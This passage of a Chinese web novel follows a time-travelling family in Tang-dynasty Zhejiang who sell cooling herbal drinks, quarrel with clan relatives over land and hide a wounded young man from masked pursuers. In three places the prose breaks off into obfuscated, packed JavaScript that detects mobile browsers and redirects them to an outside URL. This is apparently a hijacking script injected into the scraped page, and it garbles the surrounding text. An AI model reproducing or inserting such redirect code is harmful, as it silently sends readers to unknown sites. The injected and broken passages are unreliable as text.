“哎呦喂!”崔弘金鸡独立地蹦跳,惹得早起耕作的农户哄笑。 日头高悬,崔家三人推车过瓮城。 崔棠仰望着三丈高的谯楼飞檐,斗拱间悬着的铁马叮咚作响,恍惚想起穿越前参观的大雁塔。 守城士卒验过过所,枪尖挑开车上遮布:“饮药入市需缴牙税!” 倒是没想到这一处支出,贺梅娘心痛地交了十文钱。 待入了城门,鼎沸人声裹着胡饼香扑面而来。 大街两侧各色彩帜招摇:有新罗商人操着生硬唐话叫卖:“松烟墨!青瓷盏!” “让道!让道!”突有马车从身边掠过,惊得贺梅娘倒退三步。 崔棠扶住母亲时,忽地瞥见街角挂着仁寿堂乌木匾额的药铺。她让父母稍候,自己攥着一早揣兜里的野果挤过人群。 掌柜的拭着犀角秤,将山茱萸核对着日头细照:“哟!这山茱萸像是终南山的凤眼萸!湖州境内见到倒是稀奇。” “五十文一斤如何?”掌柜问道。 崔棠心头一跳——那日十五文卖给道袍少年竟是亏了大半。 与掌柜商定后,崔棠便匆匆回转。 日上三竿,三人终于蹭到慈恩寺。崔棠盯着仅剩七分满的木桶捶胸顿足:“早晚得买头犟驴!” 崔家把摊子支在庙会尽头,这是崔棠的主意:一是来晚了无甚好位置,二是此处乃是庙会唯一的出入口。 竹木货架上,竹杯与青箬盏整齐排列。 折叠货架和竹杯自然是崔弘的手艺,那箬叶本是拿来裹端午粽的,崔棠发觉卷起来做试饮杯大小正合适。 崔棠指尖轻点木刻胖猫:“今日全仗你挣驴钱!” 那狸奴抱着竹筒的憨态,水渍点缀竟似淌着哈喇子,上书“三清饮一杯一文”、“双花饮两杯一文”。 崔棠把这胖猫叫做品牌形象,狸奴如此可爱应当可以吃遍古今。 “三清饮通神明,双花饮祛邪火——”她舀起琥珀浆液,薄荷叶在箬盏边打转,“前三十盏白送嘞!”嗓音清亮如新雨。 有垂髫小儿拽着帏帽娘子惊呼:“阿娘快看!蚂蚁排字呢!” 众人望去,泼洒的蔗浆竟被蚁群衔成“甘露”二字。霎时香客如潮涌来,连扫地沙弥都抻着脖子张望。 箬叶杯盛着琥珀色琼浆,薄荷叶在杯沿轻晃。 未几,便有几个好奇路人围拢过来。崔棠赶忙递上用箬叶制成的小杯,供人试饮。 “这‘三清饮’味道当真独特,有股淡淡花香与甜味,饮罢浑身舒坦。”一位戴帏帽的小娘子尝过后赞道。 “是啊,这双花水也清爽可口,正合这暑日饮用。”一个穿短打的脚夫附和。 崔棠的箬叶杯做得十分小,仅够一口。 起初大伙都涂着试喝前来,待逛着庙会逐渐口渴便想到那一口清凉。 一个热得大汗淋漓的书生饮罢赞道:“实乃温书时提神醒脑上品!不知是否方便携带?” “郎君且看这竹筒——”崔弘晃着塞了木栓的打包筒,“三文钱顶四筒量!” 心中不免赞叹崔棠的主意好,幸好提前备了“打包筒”。 如此,在试饮与崔棠的卖力吆喝下,崔家的解暑饮生意愈发红火,不多时便卖了大半。 桥对面包子铺里,长房崔林捏碎胡麻饼冷笑:“三房倒是会钻营。” 他妻子王氏盯着排队买饮子的人流,丹蔻指甲抠进木桌:“怪不得喊五郎做工也不来,原是有了好生计!” “且让他们得意几日,早晚知道还是族人可靠。”崔林蘸着肉汤在桌上画圈。 “让开!“突然一声暴喝。 三个泼皮挤进人群,领头那个疤脸汉子一脚踹翻货架:“交保护费了吗就敢摆摊?” 崔弘抄起柴刀就要上前,崔棠却拦住他笑盈盈端出陶罐:“几位郎君尝尝新熬的饮子?” 疤脸汉子刚接过杯子喝了一口,突然脸色大变——琥珀色的液体里沉着只青黑蝎子。 “这……这是……” “哎呀!”崔棠掩唇惊呼:“定是方才试饮的胡商落下的西域毒虫!” 泼皮们连滚带爬逃出人群,围观者轰然大笑。 多亏周娘子提醒过这伙泼皮,惯会欺软怕硬,其实是一群软脚虾。 崔棠趁机喊:“最后十杯!卖完收摊!” 暮鼓声中,最后半筒三清饮被小沙弥捧去供佛。 崔棠数着沉甸甸的钱袋子,脸上满是喜悦之色:除去缴纳的税钱,今日得了六十五文,好一笔巨款! 三人收摊正准备归家,忽来了一个肥硕身躯堵着崔家摊位,九环锡杖往青石板上重重一顿:“阿弥陀佛,施主这''甘露''二字犯了我佛忌讳,需添三成香火钱!” 崔棠捏紧钱袋,这是何道理:和尚咋还能来抢钱? 崔弘正欲上前争辩,近旁一个小贩忙扯住他的衣袖悄声道:“这是慈恩寺的慧明大师,县太爷都对他礼让三分呢!” 慧明示意小和尚举起功德箱上前来。 崔棠只得数了十枚铜板放入功德箱,见那小和尚还举着不放下又愤愤数到第十枚,才听得慧明念了声佛号转身离去。 这一番折腾下来,实在是与崔棠预想中的“发财大计”相去甚远,倒不如崔弘做工来得稳妥。 不说税钱和人力成本,就单说县城这一路的跋涉就让人望而却步了。 到了交税的最后一日,已是临近端午,村里飘起了雄黄酒的香气。 崔棠蹲在檐角滴水的青砖前,数着竹篾篮里五十枚开元通宝。 铜钱边缘的鎏金在朝阳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117767|164202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下泛着碎光,她蘸着露水在石板上画出歪扭的“五十“,忽闻灶间飘来艾草清香。 “棠儿,快尝尝这个!”贺梅娘提着艾绿间色裙摆跨过门槛,鬓边碎发沾着黍米粒。 竹筛里青团莹润如翡翠,底下垫的薄荷叶蒸得透亮:“用你采的鼠曲草汁揉的面,正合端午祛湿的讲究。” 崔棠刚要捻起团子,墙根忽传来夯土簌簌声。 崔弘蹲在坍了半边的黄泥墙下,指尖摩挲着渗水的墙缝:“地基腐了足有三寸,得掺糯米汁重夯。” 他摩挲着墙缝渗出的水渍叹气,“这院子排水也不成......” “修缮的事且缓一缓。”贺梅娘将九子粽装进藤编食盒,彩丝方胜结在晨风里轻晃:“莫误了给里正送捐的时辰。” 里正家。 周娘子抱着囡囡在逗弄檐下画眉,三岁稚童忽指着提篮嚷道:“金蟾!” 众人定睛看去,原是贺梅娘特制的五毒饼——艾草汁染就的青团上,蟾蜍纹木模压得须爪分明,眼窝处嵌着赤豆作睛。 “五郎娘子好巧思。”里正掂着钱袋子,目光扫过崔弘磨破的蹀躞带,“往年拖到夏至才凑齐的捐钱,今岁倒是爽利。” 崔棠见父亲要讷讷应声,忙笑着接话:“阿爷常说,多亏里正翁照拂,今冬定要送您竹蔗熬的蜜糖。” 这话说得滴水不漏——前世营销人练就的巧嘴,倒在这大唐乡野显出三分伶俐。 “是是是……多谢里正叔!”崔弘连声附和。 “呵呵呵……”里正抚着胡须笑道,“你有这个心就好,日子总会越过越好的!” 虽然觉得这一家子近来转变颇大,但他归因于人苦到极致总会想法子求生。 倏尔夏至,崔弘做工期满,山上的梅子也熟透了。 月升东山时,野梅树林里人影攒动。 崔弘架起新做的九尺竹梯,贺梅娘在树下铺开青布接梅子,三人指尖都染上了紫红汁液。 贺梅娘蹲身拾梅时,穿越前逛超市抢特价车厘子的肌肉记忆苏醒,十指翻飞专挑八分熟的梅子往襦裙兜里塞。 “阿娘看招!”崔棠突然抛来颗熟透的梅子,贺梅娘下意识用胳膊去挡,梅子“咚”地砸进她怀里的陶罐,溅起的汁液正糊了崔弘一脸。 竹梯“咔嚓”裂响,惊得贺梅娘怀里梅子滚了满地。 “当心!”崔棠箭步冲去扶梯,三人哄笑着齐齐倒地。 回到家中,新砌的泥炉分层铺着桃木与松针。贺梅娘掀开芭蕉叶盖,只见梅子皮皱如老妪面,连声哀叹:“这火候比微波炉还难拿捏!” 崔棠却抚掌大笑:“妙哉!那日在药铺见到的乌梅就是这样皴皮乌黑,这炉梅定是上品!” 子夜虫鸣里,崔棠将梅核串成长链。 她看着忙碌的父母,心中满是对未来的憧憬:在这陌生的唐朝,一家人正一步步努力生活,探寻属于他们的幸福。 远处官道忽有马蹄声急,惊飞满树栖鸟。 崔棠抬头,只见远处山林间有数人举着火把掠过,火光在夜色中明明灭灭。 5. 祭祖风波 夏至申时,蝉鸣撕开溽热。 崔氏祠堂青烟缭绕,祠堂前的青石阶泛着雄黄酒渍,三牲供品后立着乌压压一片崔氏族人。 崔氏这一支一共三房,为同一个曾祖。 大房大伯祖是现今的族长,原有两子,二郎早夭,如今有一子崔强在家打理庶务,一女崔元娘嫁人后去了长安;二房人丁最盛,二伯祖有二子一女崔弥、崔弦、崔二娘;三房崔棠的祖父、伯父均已不在,仅剩崔弘一家。 三房分列的格局泾渭分明:大房诸人簇拥鎏金香炉,二房子弟散坐槐荫石凳,独三房供桌挨着西晒的漏窗。 崔棠学着众人的样子和母亲一起垂首奉上五毒饼等物,险些被二房崔三郎家长女崔梨的泥金披帛绊了个趔趄。 崔梨赶忙扶住崔棠,脸颊旁浅浅的梨涡让人心生好感,月白襦裙上银线绣的折枝海棠在香雾里若隐若现:“棠妹妹当心,这青石浸了雄黄最是湿滑。” “哟,三房的祭盘倒是齐全了。”大堂伯崔强屈指弹了弹乌木供桌上的祭盒,“去年这时候,五郎可是捧着几块胡麻饼充数呢。” 他身侧的王氏甩着赤金缠臂钏嗤道:“妇人走街串巷的腌臜钱,也敢进祖宗祠堂?” 大堂兄崔林倚着门框冷笑,腰间金銙蹀躞带压得帛带凹陷。 三堂伯母许氏面露不喜,她默默拉着贺梅娘和崔棠退至廊柱阴影处。 供桌后忽传来窸窣响动,一个白胖的总角小童猫腰钻出,腮帮鼓得像只偷油的鼠。 三堂伯母许氏忙用罗帕替他拭去嘴边青团渣:“小祖宗仔细噎着!”又朝贺梅娘苦笑,“杭州城里请的夫子三日便被这皮猴气走……” 这正是三堂伯家的幼子崔柏。他嘴里含糊不清还打了个饱嗝道:“堂叔母做的青团真真美味……” 祭祖礼毕,族中女眷聚在祠堂东厢烹茶,男人们则三三两两在院中闲谈。 崔梨纤指捏着越窑青瓷盏,忽听廊下传来朗朗诵书声:“...君子务本,本立而道生。” 崔棠掀开竹帘窥见奇景:四堂伯崔弦正对古柏行揖礼,广袖翻飞间《论语》书页簌簌,活似与百年老树论道。 三堂伯崔弥却猫腰溜到院中石墩旁,怀里《左传》突然“啪”地落地。 “五郎瞧瞧这个!”崔弥从袖中抖出张泛黄图纸,指尖点着“长乐未央”四字篆文,“按《考工记》复原的汉瓦当纹,可否刻作砚屏?” 西厢忽传来崔强醉笑:“跟五郎这蠢货说这些他懂吗?上月县尊书房新换的紫檀屏风,那才叫……” 话尾被崔弘的闷咳截断,这一家子亲戚就大房让人见到就想打,也不知原身是怎么忍了这些年的。 “郎君本在杭州新开了木器行……”厢房内许氏指尖轻抚桌上崔家祖传的鲁班尺,“说是要重振祖业,偏父亲非要他考明经科。” 贺梅娘添茶的手微顿:“听闻二伯父当年县试拔得头筹……” “可不是!”许氏将捣好的薄荷末撒入茶汤,“后来也不知怎的止步不前,如今全指着郎君和四叔争气,好重振二房门楣。” 话音未落,厢房门“哐当”撞开,崔桃提着裙裾蹦进来:“自打三伯和阿耶过了乡试,阿翁连柏弟捉促织都要念叨‘格物致知’!” 崔桃是四堂伯和傅氏的独女,性情最是跳脱。 窗根忽地探进个圆脑袋,崔柏鼓着腮帮含糊道:“若非我绝食三日,阿翁还拘着我们在杭州临帖呢!” 崔桃幸灾乐祸:“柏弟过了今夏怕也要被关起来读书了。” 崔梨忙用罗帕替他拭脸:“皮猴子仔细些!”转头朝崔棠苦笑,“原说不回乡的,偏这泼猴听闻村后山有野梅林……” 崔柏忽然掏出个螺钿漆盒道:“阿姐分明也想摘梅酿酒!你看这梅花盏,还是她特意从杭州珍宝斋挑的!” “过几日县里灯市,妹妹可愿同往?”崔梨颊边梨涡浅现。 崔桃和崔柏听闻欢呼起来,也笑闹着要同去。 “三房无嗣,要田何用?” 正厅里尖锐的女声突然刺破香雾,王氏的赤金簪子在供案前乱晃。 “住口!”族长阿翁的鸠杖重重杵地,供案上青瓷酒坛泛起涟漪——那是贺梅娘用苍术、白芷并新采的艾蒿泡的驱疫酒。 老人浑浊目光掠过早逝胞弟的独子崔弘,叹了口气。 他原想着崔弘幼年丧父丧兄才让大郎一家帮着照看田地,不想让两家反生了龃龉。 “当年大郎说代管田亩时……”老族长喉头滚动,喉间悬着的昆仑玉压着苍老喉音,“说等你加冠便还……” 崔强掀帘而入:“整整二十亩永业田!这些年修渠引水,添置耕牛,哪样不是钱?” 傅氏腕间九转金丝镯“当啷”磕在青铜香炉上:“大堂兄这话唬外行呢?永业田的沟渠修缮,按规矩该走族中公账!” “再说了,五郎两口子还年轻你怎知生不出儿子?再不济我们棠娘若招个巧匠婿,保不准比你家二郎强!”她又补充道。 这话听的贺梅娘脸一红,想着原身还不到三十照现代人看来的确是很年轻。 崔弘突然起身道:“那就……补些余钱?” 他实在是不耐烦跟这一家子唧唧歪歪,大堂兄一家一直代管着自家田地,农忙时会喊他去帮手,每年定期给送些粮米,具体田地有多少出息原身似乎并不清楚。 “痛快!”崔大郎抚掌,“就取个整,一贯钱!” “还真说得出口,抵得上县衙主簿一月俸禄了。”傅氏在一旁小声嘀咕。 祠堂外忽有惊雷滚过,崔棠盯着案前争执不休的族人,指尖掐进了掌心。 刚交完税钱,又背一身债。这田能不能不要啊! 归家途中暴雨倾盆,三人深一脚浅一脚往家奔。 推开摇摇欲坠的柴扉,天井已成汪洋,浊水裹着柴屑漫过门槛。 崔弘蹚水摸向梁柱,惊见础石已泡得发胀——这唐时的木构宅院,到底比不得现代混凝土经淹。 “完了……”贺梅娘跌坐在泡发的粟米袋上。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117768|164202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >崔棠突然笑出声,笑着笑着咳出泪来—— 廊下垂着的熏梅架竟在雨幕中自转,榫卯遇水膨胀成了倒成了水车。幸而其他食物和药材都挂于梁上才幸免于难。 崔弘突然扯下襕袍扎紧裤腿,抄起豁口陶盆:“棠儿取石子堵漏,梅娘与我舀水!” 抢救完灶屋他又赤脚踏在泥水里,肩头搭着半截青竹管。 “要斜切三寸。”他比划着对女儿解释,“这地方没有水泥,得靠竹节天然弧度导水。” 崔弘手头功夫熟练,待雨停时青竹搭成的引水架已具雏形:榫卯接口处缠着浸过桐油的麻绳,虽比不上现代排水管,倒比原先的陶土渠耐用许多。 骤雨初歇,崔棠攥着艾绒团猛吹灶膛,青烟呛得她泪眼婆娑。 贺梅娘蹲在竹制引水渠前,指尖掠过新砌的石灰层:“这法子虽不及抽水马桶,总强过日日洗……” 崔棠皱眉看向隔壁王家似是有人来,忙截断她的话:“货郎说长安贵人如今都这般修葺。” 周娘子拍门声混着女童啼哭撞破夜色:“梅娘家里有艾草吗?囡囡起了疹子……” 话未说完便怔在当场——崔家新修的竹制引水渠正将雨水导入陶瓮,竟比官府的沟渠还要齐整。 “前日求的符水,”周娘子颤抖着撩开囡囡衣袖,臂上红疹密如星子,“往常饮完便消的……” 崔棠瞥见那符纸朱砂晕染处歪歪扭扭写着“慈恩寺”几个墨字,忍不住想揭破骗局:“那玩意──” 贺梅娘截断话头:“艾草熏蒸后若还发热……”她将晒干的艾叶捆成灸条,“务必请赵郎中来。” 现代人都信偏方,与古人论科学显然没用。 周娘子忙点头应是,匆匆离去。 是夜,更鼓声惊起夜鸦。 崔棠趴在窗边就着月光写写画画,桌面上水渍写的阿拉伯数字与筹算符号交错——那是她在盘算如何赚到一贯钱。 “阿耶工钱二百三十文,卖果子得六十五文,卖饮子扣完钱得三十五文……” 算完她忍不住哀嚎:“才不到两百文,一贯钱可是一千文呐!” 忽闻院外竹枝簌簌作响—— “谁!”她屏息抬头,正对上一双惊慌的三角眼,正是大堂兄崔林。 她抓起案头剪子冲出房门,只见一道黑影跌跌撞撞翻过矮篱。她待要追却听正屋传来崔弘的咳嗽声,竟由着他翻墙遁去。 “棠棠,别追了。”贺梅娘披着外衫从正房出来,“穷家破院有何可图?” 崔弘查探一番并未少什么东西:“你阿娘说的是,以后把重要东西锁起来。” 这长房还真是阴魂不散,以后遇到他们可得留个心眼。 三更梆子响时,崔棠摸黑起夜。 茅山溪下游忽有火光摇曳,瓦当上的水珠滴落,在青石板上溅开细小涟漪。 忽听得柴房有动静,她打开房门见梁上有碎屑飘落,月光透过大开的窗棂照见半枚革靴印—— 难道崔林又来窥视了? 6. 不速之客 晨雾未散,茅山溪畔的官道已扬起黄尘。 崔棠踮脚将“崔记饮子”的幌子系上竹竿,旧床单改的青布在风里舒展。 “阿娘快看!”她扯着贺梅娘衣袖雀跃。远处尘烟里,数百役夫的草履正踏碎晨露。 贺梅娘忙往陶瓮里撒最后一把乌梅,用勺子搅得糖水翻涌。经过几次调制的乌梅汤,除了陈皮、甘草,还加了藿香、山楂,饮之酸中带甜,解暑生津。 王仁的甜瓜摊忽地爆出稚童嬉闹。周娘子拎着襦裙追打囡囡:“小猢狲!瓜瓤抹脸上能防蚊?” 那皮猴顶着一头红瓤窜进役夫人堆,倒引来帮口干舌燥的夯土汉子来买瓜。 “客官尝尝这消暑饮?”崔棠踮脚招呼过路役夫,“加了藿香、薄荷、金银花,最是祛暑解乏!” “小娘子倒会挑时辰。”领队的将作监匠人抹了把汗,腰间革囊里探出鲁班尺一角,“这新官道要通到杭州盐官县,你们算是赶上好营生。” 有巡道的胥吏路过,崔弘捧着竹筒递上:“乌梅饮子用井水镇过......” “无市劵敢私设摊肆?”穿赭色圆领袍的录事不屑地看了眼竹筒,抬脚就要踹翻陶瓮。 崔棠早有准备,忙将早备好的油纸包塞过去,里头裹着四块淋了饴糖的凉糕:“您先试试这凉糕,井水里冰过的,正合解暑。” 胥吏指尖触到油纸包下沁凉的铜钱,话锋陡转:“既是乡民义举,那便允你们再此设摊,只是每日需缴纳十文。” 不多时官道两侧已支棱起不少苇棚,穿短褐的摊主们抡着芭蕉扇驱蝇,新剖的甜瓜淌着胭脂水般的汁液,胡饼炉里炭火爆出噼啪星子,惹得过路骡马连连惊嘶。 “三文管饱!”络腮胡汉子将胡饼拍得震天响。役夫们攥着汗津津的铜钱,宁可多买两个硬饼就着生蒜啃,也舍不得花半文换盏饮子。 日头毒辣辣炙烤着官道,崔棠倚着新扎的苇棚挥动蕉叶扇。 青竹筒里的双花饮凝了层水雾,汗珠子顺着她鼻尖砸在泥地上。远处王叔的甜瓜堆被晒得蔫头耷脑,连囡囡都蜷在箩筐阴影里吐舌头。 忽闻一声惊呼,官道东头乱作一团。二十来个役夫扛着丈余麻石踉跄倒地,当先的黝黑汉子面如金纸,汗湿的短褐紧贴在虬结的背肌上。 “快抬阴凉处!”崔弘一个箭步冲去。 贺梅娘忙掀翻竹案腾出空地,崔棠捏着装解暑饮的竹筒挤进人堆。 “得罪了。”她掐着汉子人中灌下饮子,薄荷混着藿香的凛冽气息惊得围观役夫连退三步。 人群里忽有人高呼:“这不是张把式么!” 须臾间,张把式喉头滚动着睁开眼,恰见崔弘捧着豁口陶碗憨笑:“老哥且润润嗓。”装着乌梅饮子的碗底还沉着未滤净的梅核。 待到日落时分,崔家苇棚前已乌泱泱围满歇晌的役夫,青团与胡麻饼早被哄抢一空。 崔棠美滋滋地闭眼听着铜钱叮当落进竹篓的声响,这一日下来少说能净赚五十文。 这几款消暑饮用料多取自山上或自家菜地,只少数药材购自药铺但用量极少。几日下来,崔棠床底下装钱的小陶罐又渐渐满了起来。 三日后恰逢朔望大集,一辆油壁驴车停在溪桥村口。 崔梨掀开青绸车帘,泥金披帛映着杏子红襦裙,朝崔棠伸手:“三娘快些!再晚就赶不上啦!” 崔弘笑着将几个竹筒饮子塞进车窗:“你们五叔母新制的乌梅汁,仔细防着暑气。” 话音未落,车帘后探出只油乎乎的小手——崔柏举着咬剩的樱桃毕罗,嘴角还沾着胡麻粒。 她忍俊不禁地笑道:“柏弟这都吃饱了,去市集那还吃得下呀?” 崔桃用手绢给崔柏擦了擦嘴,轻声笑道:“你可别小看他,他呀——这才刚开始呢!” 崔棠扶窗坐定时,正见崔柏把最后一口毕罗塞进荷包,活像只屯粮的松鼠。 崔梨忽地拽过她衣袖,腕间鎏金跳脱碰响车壁:“听闻你阿娘极擅厨艺,赶明儿来杭州城开间酒楼......” 感情这一家子都是吃货。 “姐姐说笑了!”崔棠忍笑道:“眼下能攒够摊肆钱便是万幸,哪里敢想什么去杭州?" 崔桃忽从香囊抖出粒金丝梅脯塞进崔棠口中:“要我说,五叔母这手艺配上棠姐姐这脑袋瓜,合该去长安平康坊支摊!” 她发间步摇垂珠随车晃荡,眨巴着亮晶晶的大眼畅想:“届时我们日日去蹭吃,省得柏弟总偷供桌上的金丝蜜枣。” 崔梨伸出手轻点崔桃的额头道:“你连长安城门往哪儿开都不知晓,还日日去吃呢!” 崔棠望着车窗外粼粼春水轻笑:“若真能在长安开铺子,定教三位尝遍那什么龟兹奶酥、波斯糖缠......”还有后世那些奶油泡芙、雪糕冰激凌…… 几人的欢声笑语惊起草丛白鹭,驴车在官道上扭出串歪斜的辙痕。 沿街毕罗铺飘着樱桃甜香,有卖“透花糍”的娘子将豆沙捏作牡丹状,看得崔棠啧啧称奇。 崔梨停在卖蔗浆的摊子前,铜钱大的青瓷盏要两文钱,小童们却围得水泄不通。 这不经让崔棠想起那失败的卖蔗经历,她和阿娘近日只拿那竹蔗煮消暑汤,连熬糖也搁置了。 “若舀些冰井镇的雪梨片,再浇这甜浆...……”崔桃咬着手指嘀咕。 “三娘快看!”崔梨兴奋地指着西市口,糖画艺人正舀起琥珀色饴糖。 小胖墩崔柏早挤到最前头,举着铜钱嚷道:“要虎头!要虎头!” 崔棠却被角落里老丈吸引——他脚边陶罐里凝着灰白糖块,细看竟是未脱色的粗糖。 “小娘子识货,两百文一斗。”老丈敲了敲罐沿,“这是南边来的蔗糖,虽比不得波斯石蜜,胜在价贱。” “三娘想要吗?”崔梨见崔棠抚着糖块沉吟,解下银丝蹙金荷包,“我攒了些私房……” “不是价钱。”崔棠指尖捻开糖粒,“若能提纯成白糖霜……” 她脑海中闪过现代的白糖,若能研究出提纯之法,定大有可为。 归途驴车里,崔棠忽觉袖口微沉,崔梨正将银镯褪到她腕上:“权当入股。” 崔棠失笑,推托不得只得暂且收下,打算寻个由头再还给她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117769|164202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 当夜崔家灶屋热火朝天。 崔弘崔弘赤膊抡起石杵捣碎野蔗,青绿汁液顺着石槽流入陶瓮。 “应当要反复曝晒几日。”她指着改良后的连锅灶解释,“第一道汁做饴糖,第二道可熬红糖。先试试!” 柴房檐角的竹风铃突然乱响。 崔棠攥紧捣药的石杵,青碧裙裾扫过新铺的石灰地——这几日总觉得凉糕不够吃,莫不是崔林来偷食? “哐当!” 半人高的柴堆应声而倒,月光从漏窗斜劈进来,正照见蜷在草垛后的黑影。 “出来!兀那小贼,让你偷东西!”她猛地挑开草垛,举起石杵就往前面猛打。 一声闷哼,一个苍白少年裹着残破的暗纹锦袍滚落,他踉跄起身时,衣袍一角浸着暗红血渍,半块胡麻饼落在地上。 “小娘子家的待客之道,倒是新鲜。”少年讥诮声里掺着虚喘,剑眉下那双眼却亮得慑人。 崔棠没想到此人竟不是崔林,一时有些愣住。 “别嚷!”少年突然暴起,掌心短刃抵住崔棠咽喉,惊得她心怦怦直跳。 近看才发现他面色惨白,剑眉凝着冷汗,崔棠刚要伺机逃脱,这少年已然昏厥倒地。 “棠棠?” 贺梅娘举着蜡烛寻来,看到眼前景象,手中蜡烛险些脱手。 她指尖发颤地检查崔棠上下。见无伤痕才长舒口气:“菩萨保佑......”这才看向昏死过去的少年。 她蹲身探向少年颈脉,忽地忆起原身雪夜昏迷被崔弘所救的旧事,“还活着,谁家小郎君这么可怜,怕不是遇了山匪。” 她复又跑出去唤崔弘进来照看,然后忙忙叨叨去寻可用的药材。 崔棠拧了方湿葛巾,就着烛光拭去少年面上尘灰——剑眉斜飞入鬓,眼眶深邃不似江南人。 崔弘笨手笨脚地扒下血衣,两人合力把少年抬到干草堆上。 贺梅娘已抱着药碾冲回,又递了碗药汤示意崔棠喂药。 贺梅娘将捣烂的鱼腥草敷上创口,少年在剧痛中闷哼,汗珠顺着锁骨滚进粗麻中衣。 崔棠正准备喂药,少年突然擒住她手腕,惊得药碗摔在竹席上:“下毒又解毒,戏文都不敢这般演。” “躺下!”她将人按回草堆,野菊花混着藿香的药汤泼在粗陶碗里,“这要是发了热,神仙也救不了。” 毕竟是没有抗生素的古代。 他指尖薄茧擦过她腕间红绳,突然闷哼一声松了力道——原是牵动了腰间渗血的暗器伤。 “倒是个俊俏贼。”崔棠给他重新包扎了伤口,手指触及精瘦腰身。 他望向被包扎成蝴蝶结的葛布,嘴角抽搐讽刺道:“小娘子倒是心善,只是这手艺……” 崔棠反手将余汤灌进他口中:“这是消炎……呃治伤的药,爱吃不吃!” 窗外忽传来犬吠声,崔棠推开窗缝,见十余盏风灯沿着溪岸明明灭灭。 少年瞳孔骤缩,翻身滚进柴垛深处。崔棠正要探头看看仔细,忽被拽着跌进稻草堆。 少年气息拂过耳际:“别动。” 7. 追兵来袭 十盏风灯晃到篱笆外,崔棠的后背紧贴着少年温热的胸膛。 混杂着血腥气的沉水香钻进鼻孔,她抬头正撞见少年下颌绷紧的弧度,月光将他鼻梁勾勒成寒刃。 “不知官爷敲门何事?” 贺梅娘提着油灯迎出去,杏色披帛被夜风掀起一角。 大刀劈开竹门,七八个蒙着面的玄衣人涌入院中。 崔棠抄起灶台草木灰就往身后捂,少年白玉似的面庞霎时蒙了层灰,偏生被呛得闷咳出声。 崔棠急得戳他肋下伤口:“闭嘴!” 领头人用刀尖挑起晾晒的葛布:“可曾见过个白得扎眼的受伤少年?” 月光掠过时,崔棠看清他虎口纹着青色蝎子。 “不曾见过……”贺梅娘又好似想起什么补充道:“晌午溪里倒是扑通一声,似是野彘落水?” 崔弘适时补了句:“官爷,这茅山溪急得很,若是有人落水,怕是这会儿都冲远了!” 领头人听了此话思虑片刻,正打算率人去查看。草垛忽然簌簌作响,半截暗纹锦袍从缝隙滑出。 崔棠箭步抄起煮柘浆的陶罐:“阿娘快瞧!这锅又废了!” 黑红糖浆“滋啦”漫过领头人靴面,惊得蒙面人跳脚后退。 贺梅娘揪住崔棠耳朵:“败家丫头!熬了整宿的糖霜全糟蹋了!” 崔棠蹲地假哭,顺手把灰抹了满脸:“呜呜阿娘别打……我错了……” 蒙面人嫌恶地甩着靴子退开。 崔弘默不作声搬开柴垛,露出半缸腌得发黑的芥菜。蒙面人刀尖戳进菜缸搅了两下,骂骂咧咧撤出院门。 待马蹄声渐远,少年松开桎梏,崔棠腕间已浮起青紫指痕。 “在下穆云,家中行二。” 少年指节攥得发白,话音里掺着三分苦笑:“此番游历遇着些麻烦,可能要叨扰诸位些时日。”他抬手抹脸,草木灰簌簌落下,露出耳后一抹玉色。 崔棠心中腹诽:这麻烦看着不小! “只管住下!” 贺梅娘捧着陶碗碎步近前:“若是有人问起,就说你是我娘家外甥吧!” 说罢她指尖沾着褐黄药膏往少年颈侧涂抹:“二郎试试这药膏?你这肤色可不像村里人。” 崔棠戳了戳少年腰间凸起的暗器囊:“白皮灯笼抹煤灰,夜里倒能当灯笼使。” 穆云反手扣住她指尖:“小娘子这肌理,可不似常做农活。” 柴房烛火摇曳,照见少年褪下的锦袍内衬绣着银丝卷草纹。崔棠抱来新晒的稻草铺床,心想这哪是落难少年,分明是块烫手山芋。 次日晨雾漫过篱笆时,崔棠正把第二锅柘浆倒进陶瓮。虽用麻布过滤了几遍残渣,浆体依旧很浑浊。 穆云盘腿坐在柴堆上啃胡饼,深邃的眉骨在雾气中若隐若现,涂了膏药的面皮仍透出三分玉色。 “再看要收钱。”少年忽然出声,惊得崔棠手一抖。 “美得你!”她甩着滤布瞪他,“今日不把这糖做好,咱俩都别吃饭!” 贺梅娘挎着竹篮跨出院门,杏色披帛扫过新扎的茶幡:“棠棠记着给二郎补补衣裳,你阿耶这衣服袖口破得能钻山雀了!” 崔弘闷头扛起几支甘蔗,粗布短打被露水浸得深一块浅一块。 日头爬上檐角时,崔棠第三次打翻陶罐,柘浆在灶台漫成黏糊糊的琥珀。 焦糊味混着晨风往穆云鼻尖钻,他抱臂倚着门框嗤笑:“胡商都用石蜜,小娘子倒玩泥巴。” 